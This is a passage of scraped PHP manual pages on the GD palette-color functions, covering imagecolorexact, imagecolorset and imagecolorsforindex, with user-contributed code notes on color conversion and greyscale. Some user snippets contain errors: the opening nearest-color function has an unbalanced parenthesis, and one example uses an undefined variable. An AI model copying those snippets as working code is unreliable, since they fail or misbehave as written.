 *
 * $givenColor and the colors in $palette should be either
 * formatted as (#)rrggbb
 * (e. g. "ff0000", "4da4f3" or "#b5d7f3")
 * or arrays with values for red, green and blue
 * (e. g. $givenColor = array( 0xff, 0x00, 0x00 ) )
 *
 * References:
 * function rgb2lab
 *   - http://www.f4.fhtw-berlin.de/~barthel/ImageJ/ImageJ.htm
 *
 * function rgb2lab & function deltaE
 *   - http://www.brucelindbloom.com
 */
function getNearestColor(
  $givenColor,
  $palette = array( 'blue' => '43aafd','red' => 'fe6256','green' => '64b949','yellow' => 'fcf357',
    'black' => '656565','white' => 'fdfdfd','orange' => 'fea800','purple' => '9773fe')
) {
  if(!function_exists('rgb2lab')) {
    function rgb2lab($rgb) {
      $eps = 216/24389; $k = 24389/27;
      // reference white D50
      $xr = 0.964221; $yr = 1.0; $zr = 0.825211;

      $rgb[0] = $rgb[0]/255; //R 0..1
      $rgb[1] = $rgb[1]/255; //G 0..1
      $rgb[2] = $rgb[2]/255; //B 0..1

      // assuming sRGB (D65)
      $rgb[0] = ($rgb[0] <= 0.04045)?($rgb[0]/12.92):pow(($rgb[0]+0.055)/1.055,2.4);
      $rgb[1] = ($rgb[1] <= 0.04045)?($rgb[1]/12.92):pow(($rgb[1]+0.055)/1.055,2.4);
      $rgb[2] = ($rgb[2] <= 0.04045)?($rgb[2]/12.92):pow(($rgb[2]+0.055)/1.055,2.4);

      // sRGB D50
      $x =  0.4360747*$rgb[0] + 0.3850649*$rgb[1] + 0.1430804 *$rgb[2];
      $y =  0.2225045*$rgb[0] + 0.7168786*$rgb[1] + 0.0606169 *$rgb[2];
      $z =  0.0139322*$rgb[0] + 0.0971045*$rgb[1] + 0.7141733 *$rgb[2];

      $xr = $x/$xr; $yr = $y/$yr; $zr = $z/$zr;

      $fx = ($xr > $eps)?pow($xr, 1/3):($fx = ($k * $xr + 16) / 116);
      $fy = ($yr > $eps)?pow($yr, 1/3):($fy = ($k * $yr + 16) / 116);
      $fz = ($zr > $eps)?pow($zr, 1/3):($fz = ($k * $zr + 16) / 116);

      $lab = array();
      $lab[] = round(( 116 * $fy ) - 16);
      $lab[] = round(500*($fx-$fy));
      $lab[] = round(200*($fy-$fz));
      return $lab;
    }
  }

  if(!function_exists('deltaE')) {
    function deltaE($lab1, $lab2) {
      // CMC 1:1
      $l = 1; $c = 1;

      $c1 = sqrt($lab1[1]*$lab1[1]+$lab1[2]*$lab1[2]);
      $c2 = sqrt($lab2[1]*$lab2[1]+$lab2[2]*$lab2[2]);

      $h1 = (((180000000/M_PI) * atan2($lab1[1],$lab1[2]) + 360000000) % 360000000)/1000000;

      $t = (164 <= $h1 AND $h1 <= 345)?(0.56 + abs(0.2 * cos($h1+168))):(0.36 + abs(0.4 * cos($h1+35)));
      $f = sqrt(pow($c1,4)/(pow($c1,4) + 1900));

      $sl = ($lab1[0] < 16)?(0.511):((0.040975*$lab1[0])/(1 + 0.01765*$lab1[0]));
      $sc = (0.0638 * $c1)/(1 + 0.0131 * $c1) + 0.638;
      $sh = $sc * ($f * $t + 1 -$f);

      return sqrt(
        pow(($lab1[0]-$lab2[0])/($l * $sl),2) +
        pow(($c1-$c2)/($c * $sc),2) +
        pow(sqrt(
              ($lab1[1]-$lab2[1])*($lab1[1]-$lab2[1]) +
              ($lab1[2]-$lab2[2])*($lab1[2]-$lab2[2]) +
              ($c1-$c2)*($c1-$c2)
            )/$sh,2)
      );
    }
  }

  if(!function_exists('str2rgb')) {
    function str2rgb($str)
    {
      $str = preg_replace('~[^0-9a-f]~','',$str);
      $rgb = str_split($str,2);
      for($i=0;$i<3;$i++)
        $rgb[$i] = intval($rgb[$i],16);

      return $rgb;
    }
  }

  $givenColorRGB = is_array($givenColor?$givenColor:str2rgb($givenColor);

  $min = 0xffff;
  $return = NULL;

  foreach($palette as $key => $color) {
    $color = is_array($color)?$color:str2rgb($color);
    if($min >= ($deltaE = deltaE(rgb2lab($color),rgb2lab($givenColorRGB))))
    {
      $min = $deltaE;
      $return = $key;
    }
  }

  return $return;
}
?>
imagecolorclosestalpha
imagecolordeallocate
GD and Image Functions


De-allocate a color for an image

imagecolorclosesthwb
imagecolorexact
GD and Image Functions
PHP Manual

imagecolordeallocate

(PHP 4, PHP 5)

imagecolordeallocate — De-allocate a color for an image

Description

bool imagecolordeallocate ( resource $image , int $color )

De-allocates a color previously allocated with imagecolorallocate() or imagecolorallocatealpha().

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

color

The color identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using imagecolordeallocate()

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

See Also

  • imagecolorallocate() - Allocate a color for an image
  • imagecolorallocatealpha() - Allocate a color for an image

User Contributed Notes

janos at since78 dot net 01-Dec-2008 07:59
converting HTML color (like #AAED43) to three RGB values ($r = 170, $g = 237, $b = 67)
<?php
function html2rgb($color)
{
    if ($color[0] == '#')
        $color = substr($color, 1);

    if (strlen($color) == 6)
        list($r, $g, $b) = array($color[0].$color[1],
                                 $color[2].$color[3],
                                 $color[4].$color[5]);
    elseif (strlen($color) == 3)
        list($r, $g, $b) = array($color[0].$color[0], $color[1].$color[1], $color[2].$color[2]);
    else
        return false;

    $r = hexdec($r); $g = hexdec($g); $b = hexdec($b);

    return array($r, $g, $b);
}
?>

converting RGB values to HTML color
<?php
function rgb2html($r, $g=-1, $b=-1)
{
    if (is_array($r) && sizeof($r) == 3)
        list($r, $g, $b) = $r;

    $r = intval($r); $g = intval($g);
    $b = intval($b);

    $r = dechex($r<0?0:($r>255?255:$r));
    $g = dechex($g<0?0:($g>255?255:$g));
    $b = dechex($b<0?0:($b>255?255:$b));

    $color = (strlen($r) < 2?'0':'').$r;
    $color .= (strlen($g) < 2?'0':'').$g;
    $color .= (strlen($b) < 2?'0':'').$b;
    return '#'.$color;
}
?>
imagecolorclosesthwb
imagecolorexact
GD and Image Functions


Get the index of the specified color

imagecolordeallocate
imagecolorexactalpha
GD and Image Functions
PHP Manual

imagecolorexact

(PHP 4, PHP 5)

imagecolorexact — Get the index of the specified color

Description

int imagecolorexact ( resource $image , int $red , int $green , int $blue )

Returns the index of the specified color in the palette of the image.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns the index of the specified color in the palette, or -1 if the color does not exist.

Examples

Example #1 Get colors from the GD logo

<?php
// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexact($im, 255, 0, 0);
$colors[] = imagecolorexact($im, 0, 0, 0);
$colors[] = imagecolorexact($im, 255, 255, 255);
$colors[] = imagecolorexact($im, 100, 255, 52);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 16711680
    [1] => 0
    [2] => 16777215
    [3] => 6618932
)

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

samtobia at geemail dot com 24-Mar-2011 10:11
A script that changes colors depending on get variable
important to note: I had little success with pngs and getting true red
gifs work much better

<?php
//0 is yellow, 1 is red, 2 is blue
$y = 1 - ceil($_GET["c"]/2);
$r = 1 - floor($_GET["c"]/2);
$b = floor($_GET["c"]/2);

$gd = imagecreatefromgif("example.gif");
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*255, $y*255, $b*255);
imagecolorset($gd, imagecolorexact($gd, 191, 0, 0), $r*191, $y*191, $b*191);
imagecolorset($gd, imagecolorexact($gd, 128, 0, 0), $r*128, $y*128, $b*128);
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*64, $y*64, $b*64);

header('Content-Type: image/gif');
imagegif($gd);

?>
jbr at ya-right dot com 18-Feb-2006 12:38
A few notes about this function...

This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br 16-Nov-2005 11:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>
imagecolordeallocate
imagecolorexactalpha
GD and Image Functions


Get the index of the specified color + alpha

imagecolorexact
imagecolormatch
GD and Image Functions
PHP Manual

imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorexactalpha — Get the index of the specified color + alpha

Description

int imagecolorexactalpha ( resource $image , int $red , int $green , int $blue , int $alpha )

Returns the index of the specified color+alpha in the palette of the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the specified color+alpha in the palette of the image, or -1 if the color does not exist in the image's palette.

Examples

Example #1 Get colors from the GD logo

<?php

// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexactalpha($im, 255, 0, 0, 0);
$colors[] = imagecolorexactalpha($im, 0, 0, 0, 127);
$colors[] = imagecolorexactalpha($im, 255, 255, 255, 55);
$colors[] = imagecolorexactalpha($im, 100, 255, 52, 20);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 16711680
    [1] => 2130706432
    [2] => 939524095
    [3] => 342163252
)

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha

User Contributed Notes

matt at matt-darby dot com 11-Jul-2005 06:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu 08-Nov-2002 10:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.
imagecolorexact
imagecolormatch
GD and Image Functions


Makes the colors of the palette version of an image more closely match the true color version

imagecolorexactalpha
imagecolorresolve
GD and Image Functions
PHP Manual

imagecolormatch

(PHP 4 >= 4.3.0, PHP 5)

imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version

Description

bool imagecolormatch ( resource $image1 , resource $image2 )

Makes the colors of the palette version of an image more closely match the true color version.

Parameters

image1

A truecolor image link resource.

image2

A palette image link resource pointing to an image that has the same size as image1.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecolormatch() example

<?php
// Setup the true color and palette images
$im1 = imagecreatefrompng('./gdlogo.png');
$im2 = imagecreate(imagesx($im1), imagesy($im1));

// Add some colors to $im2
$colors   = Array();
$colors[] = imagecolorallocate($im2, 255, 36, 74);
$colors[] = imagecolorallocate($im2, 40, 0, 240);
$colors[] = imagecolorallocate($im2, 82, 100, 255);
$colors[] = imagecolorallocate($im2, 84, 63, 44);

// Match these colors with the true color image
imagecolormatch($im1, $im2);

// Free from memory
imagedestroy($im1);
imagedestroy($im2);
?>

Notes

Note: This function is only available if PHP is compiled with the bundled version of the GD library.

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

gk at karko dot net 28-Jun-2010 09:42
Those that have Ubuntu servers note, that this function is added in PHP's GD library fork and is not available by default in Ubuntu php5-gd package.

Here's how-to install the PHP GD version: http://preview.tinyurl.com/yel4r7t
albriNOght at anSPAMre dot net 12-Dec-2005 09:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha 08-Feb-2004 07:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.
imagecolorexactalpha
imagecolorresolve
GD and Image Functions


Get the index of the specified color or its closest possible alternative

imagecolormatch
imagecolorresolvealpha
GD and Image Functions
PHP Manual

imagecolorresolve

(PHP 4, PHP 5)

imagecolorresolve — Get the index of the specified color or its closest possible alternative

Description

int imagecolorresolve ( resource $image , int $red , int $green , int $blue )

This function is guaranteed to return a color index for a requested color, either the exact color or the closest possible alternative.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns a color index.

Examples

Example #1 Using imagecoloresolve() to get colors from an image

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolve($im, 255, 255, 255);
$colors[] = imagecolorresolve($im, 0, 0, 200);

// Output
print_r($colors);

imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 89
    [1] => 85
)

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

ceo at l-i-e dot com 03-Jan-2002 03:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
    for ($y = 0; $y < $height; $y++){
        $colorindex = imagecolorat($jpg, $x, $y);
        if (!isset($colorcount[$colorindex])){
            $colorcount[$colorindex] = 1;
        }
        else{
            $colorcount[$colorindex]++;
        }
    }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
    $goner = key($colorcount);
    $rgb = imagecolorsforindex($jpg, $goner);
    #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
    unset($colorcount[$goner]);
    imagecolordeallocate($jpg, $goner);
    $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
    $black = imagecolorresolve($jpg, 0, 0, 0);
    #error_log("Damn!  STILL couldn't allocate the color!", 0);
}
imagecolormatch
imagecolorresolvealpha
GD and Image Functions


Get the index of the specified color + alpha or its closest possible alternative

imagecolorresolve
imagecolorset
GD and Image Functions
PHP Manual

imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative

Description

int imagecolorresolvealpha ( resource $image , int $red , int $green , int $blue , int $alpha )

This function is guaranteed to return a color index for a requested color, either the exact color or the closest possible alternative.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns a color index.

Examples

Example #1 Using imagecoloresolvealpha() to get colors from an image

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolvealpha($im, 255, 255, 255, 0);
$colors[] = imagecolorresolvealpha($im, 0, 0, 200, 127);

// Output
print_r($colors);

imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 89
    [1] => 85
)

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha

User Contributed Notes

There are no user contributed notes for this page.
imagecolorresolve
imagecolorset
GD and Image Functions


Set the color for the specified palette index

imagecolorresolvealpha
imagecolorsforindex
GD and Image Functions
PHP Manual

imagecolorset

(PHP 4, PHP 5)

imagecolorset — Set the color for the specified palette index

Description

void imagecolorset ( resource $image , int $index , int $red , int $green , int $blue [, int $alpha = 0 ] )

This sets the specified index in the palette to the specified color. This is useful for creating flood-fill-like effects in palleted images without the overhead of performing the actual flood-fill.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

index

An index in the palette.

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

Value of alpha component.

Return Values

No value is returned.

Changelog

Version | Description
5.4.0 | The alpha parameter was added.

Examples

Example #1 imagecolorset() example

<?php
// Create a 300x100 image
$im = imagecreate(300, 100);

// Set the background to be red
imagecolorallocate($im, 255, 0, 0);

// Get the color index for the background
$bg = imagecolorat($im, 0, 0);

// Set the backgrund to be blue
imagecolorset($im, $bg, 0, 0, 255);

// Output the image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagecolorat() - Get the index of the color of a pixel

User Contributed Notes

Bartman 25-Aug-2009 02:12
I had the same problem as heavyraptor2 so i made this function...
<?php
function imagecolorize($im,$endcolor){
    //funcion takes image and turns black into $endcolor, white to white and
    //everything in between in corresponding gradient
    //$endcolor should be 6 char html color

    //make sure it has usable palette
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    //first make it gray to be sure of even results (thanks moxleystratton.com)
    //comment this loop if you want the output based on, for example,
    //the red channel (for this take a look at the $gray-var in the last loop)
    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }

    //determine end-colors in hexdec
    $EndcolorRGB['r'] = hexdec( substr($endcolor, 0, 2));
    $EndcolorRGB['g'] = hexdec( substr($endcolor, 2, 2));
    $EndcolorRGB['b'] = hexdec( substr($endcolor, 4, 2));

    //determine gradient-delta's
    $stepR = (255-$EndcolorRGB['r'])/255.0;
    $stepG = (255-$EndcolorRGB['g'])/255.0;
    $stepB = (255-$EndcolorRGB['b'])/255.0;

    //aColor contains the 256 gradations between endcolor(i=0) and white(i=255)
    $aColor = array();
    for ($i = 0; $i<=255; $i++){
        $aColor[$i]['r'] = $EndcolorRGB['r'] + ($i*$stepR);
        $aColor[$i]['g'] = $EndcolorRGB['g'] + ($i*$stepG);
        $aColor[$i]['b'] = $EndcolorRGB['b'] + ($i*$stepB);
    }

    //for every color-index we now replace $gray-values for $aColor
    for ($c = 0; $c < imagecolorstotal($im); $c++){
        $currentColorRGB = imagecolorsforindex($im, $c);
        $gray = $currentColorRGB['red'];//image is grayscale, so red,green and blue
        // should be equal. We use this number as key of aColor
        imagecolorset($im,$c,(int)$aColor[$gray]['r'], (int)$aColor[$gray]['g'], (int)$aColor[$gray]['b']);
    }
}?>
Thomas Mueller 23-Apr-2008 10:42
Here is a function to colorize a picture gradient style.

All you have to do is to pass an img-object and an array of colors.

e.g.

$arr = array('#000000', '#990000', '#00FFFF', '#FFFFDD');
colorize ($img, $arr);

<?php
function colorize($imgdata, $palette)
{
    imageTrueColorToPalette($imgdata,false,0xFF);
    $l = count($palette)-1;
    $i = imagecolorstotal($imgdata);
    while ($i--)
    {
        list($r,$g,$b) = array_values(imageColorsForIndex($imgdata,$i));

        $grayscale = ($r*.3 + $g*.59 +$b*.11) / 0xFF;

        $pos = $l*$grayscale;

        $perc = $pos-floor($pos);

        $tbase = str_replace("#", '', $palette[$pos]);
        $baseR = hexdec(substr($tbase,0,2));
        $baseG = hexdec(substr($tbase,2,2));
        $baseB = hexdec(substr($tbase,4,2));

        $tmix = str_replace("#", '', $palette[$pos+1]);
        $mixR = hexdec(substr($tmix,0,2));
        $mixG = hexdec(substr($tmix,2,2));
        $mixB = hexdec(substr($tmix,4,2));

        $resR = $baseR+($mixR-$baseR)*$perc;
        $resG = $baseG+($mixG-$baseG)*$perc;
        $resB = $baseB+($mixB-$baseB)*$perc;

        imagecolorset($imgdata, $i, $resR, $resG, $resB);
    }
}
?>
heavyraptor2 at hotmail dot com 20-Feb-2008 01:08
I've been looking for a simple function which "colorizes" an image, without any success ... it looks like a lot of people mean something different with "colorizing" an image, because actually colorzing means multiplying the old color's grayscale with the new color. So a white pixel would become 100% of the colorize-to-color and a black pixel would stay black (I know I can't explain well ... I hope you understood, otherwise take a look at the example below the functions' code).

<?php
function image_colorize(&$img,$rgb) {
  imageTrueColorToPalette($img,true,256);
  $numColors = imageColorsTotal($img);

  for ($x = 0; $x < $numColors; $x++) {
    list($r,$g,$b) = array_values(imageColorsForIndex($img,$x));

    // calculate grayscale in percent
    $grayscale = ($r + $g + $b) / 3 / 0xff;

    imageColorSet($img,$x,
      $grayscale * $rgb[0],
      $grayscale * $rgb[1],
      $grayscale * $rgb[2]
    );
  }

  return true;
}
?>

Example of usage:
<?php
$color = array(0xff,0xaa,0x2a); // color to convert to
$url = 'http://sundog.net/images/uploads/1_google_logo.jpg';
$img = imageCreateFromJpeg($url);

image_colorize($img,$color);

header('Content-type: image/gif');
imageGif($img);
exit;
?>

Enjoy
admin at phpgfx dot com 25-Aug-2007 11:37
Here is a function to turn an image into pure black and white

<?php

function imagepurebw( $img, $amount = 383 ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        array_pop( $index );
        $color = ( array_sum( $index ) > $amount ) ? 255 : 0;
        imagecolorset( $img, $i, $color, $color, $color );
    }
}

?>
moxleystratton.com 04-Oct-2006 03:59
If you want to convert a Color image to Grayscale without creating a blotchy image, use this color calculation:
<?php
function imagetograyscale($im)
{
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }
}
?>
dade dot c at email dot it 02-Oct-2004 01:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
          $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
    header("Content-type: image/png");
    $im = imagecreatefrompng("images/table.png");

    imagetruecolortopalette($im, FALSE, 256);

      for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
        $col = imagecolorsforindex($im, $c);
        imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

    imagepng($im);
    imagedestroy($im);
}
m4551 at abasoft dot it 23-Apr-2004 09:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
info at devking dot com 08-Aug-2002 02:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net 11-Jul-2001 05:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
    $col=ImageColorsForIndex($im,$i);
    $red_set=$red/100*$col['red'];
    $green_set=$green/100*$col['green'];
    $blue_set=$blue/100*$col['blue'];
    if($red_set>255)$red_set=255;
    if($green_set>255)$green_set=255;
    if($blue_set>255)$blue_set=255;
    imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }
imagecolorresolvealpha
imagecolorsforindex
GD and Image Functions


Get the colors for an index

imagecolorset
imagecolorstotal
GD and Image Functions
PHP Manual

imagecolorsforindex

(PHP 4, PHP 5)

imagecolorsforindex — Get the colors for an index

Description

array imagecolorsforindex ( resource $image , int $index )

Gets the color for a specified index.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

index

The color index.

Return Values

Returns an associative array with red, green, blue and alpha keys that contain the appropriate values for the specified color index.

Examples

Example #1 imagecolorsforindex() example

<?php

// open an image
$im = imagecreatefrompng('nexen.png');

// get a color
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// make it human readable
$color_tran = imagecolorsforindex($im, $color_index);

// what is it ?
print_r($color_tran);

?>

The above example will output something similar to:

Array
(
   [red] => 226
   [green] => 222
   [blue] => 252
   [alpha] => 0
)

See Also

  • imagecolorat() - Get the index of the color of a pixel
  • imagecolorexact() - Get the index of the specified color

User Contributed Notes

chemo dot rojas at kubic dot cl 04-Nov-2008 06:19
I've created a function to retrieve the HSV (HSB) value of
an RGB color. It's useful if you need a HSV representation
of color instead the HSL one.

The RGB array passed as parameter, you can obtain it from
the ImageColorsForIndex() function. If not, you can pass
any array, you must replace the indexes from $rgb['xxx']
to suit your array.

<?php

//----------------------------------------------------------
// Name:            rgb2hsv()
// Description:        Convert RGB colors array
//                    into HSV (HSB) array
//
// Parameter:        - $rgb:
//                      array of RGB color,
//                      each component with range 0 to 255
// Return:            - array($h, $s, $v):
//                      array HSV set with its default range
//                      (H to 360º, S and V to 100%)
//---------------------------------------------------------

function rgb2hsv($rgb){
    $r = $rgb['red'];
    $g = $rgb['green'];
    $b = $rgb['blue'];

    $minVal = min($r, $g, $b);
    $maxVal = max($r, $g, $b);
    $delta  = $maxVal - $minVal;

    $v = $maxVal / 255;

    if ($delta == 0) {
        $h = 0;
        $s = 0;
    } else {
        $s = $delta / $maxVal;
        $del_R = ((($maxVal - $r) / 6) + ($delta / 2)) / $delta;
        $del_G = ((($maxVal - $g) / 6) + ($delta / 2)) / $delta;
        $del_B = ((($maxVal - $b) / 6) + ($delta / 2)) / $delta;

        if ($r == $maxVal){
            $h = $del_B - $del_G;
        } else if ($g == $maxVal) {
            $h = (1 / 3) + $del_R - $del_B;
        } else if ($b == $maxVal) {
            $h = (2 / 3) + $del_G - $del_R;
        }

        if ($h < 0){
            $h++;
        }
        if ($h > 1) {
            $h--;
        }
    }
    $h = round($h * 360);
    $s = round($s * 100);
    $v = round($v * 100);

    return array($h, $s, $v);
}
?>
hofstadler dot andi at gmx dot at 07-Oct-2008 12:36
I have optimized the rgb2hsl function from slepichev a bit, so that it is a bit shorter and hopefully a bit faster:

<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set, each color component with range 0 to 255
 * @return array HSL set, each color component with range 0 to 1
 */
function rgb2hsl($rgb){
    $clrR = ($rgb[0]);
    $clrG = ($rgb[1]);
    $clrB = ($rgb[2]);

    $clrMin = min($clrR, $clrG, $clrB);
    $clrMax = max($clrR, $clrG, $clrB);
    $deltaMax = $clrMax - $clrMin;

    $L = ($clrMax + $clrMin) / 510;

    if (0 == $deltaMax){
        $H = 0;
        $S = 0;
    }
    else{
        if (0.5 > $L){
            $S = $deltaMax / ($clrMax + $clrMin);
        }
        else{
            $S = $deltaMax / (510 - $clrMax - $clrMin);
        }

        if ($clrMax == $clrR) {
            $H = ($clrG - $clrB) / (6.0 * $deltaMax);
        }
        else if ($clrMax == $clrG) {
            $H = 1/3 + ($clrB - $clrR) / (6.0 * $deltaMax);
        }
        else {
            $H = 2 / 3 + ($clrR - $clrG) / (6.0 * $deltaMax);
        }

        if (0 > $H) $H += 1;
        if (1 < $H) $H -= 1;
    }
    return array($H, $S,$L);
}
?>
matrebatre 07-Aug-2008 11:11
Be aware that

<?php
$rgba     = imagecolorat($image, $x, $y);
$r = ($rgba >> 16) & 0xFF;
$g = ($rgba >> 8) & 0xFF;
$b = $rgba & 0xFF;
$a     = ($rgba & 0x7F000000) >> 24;
?>

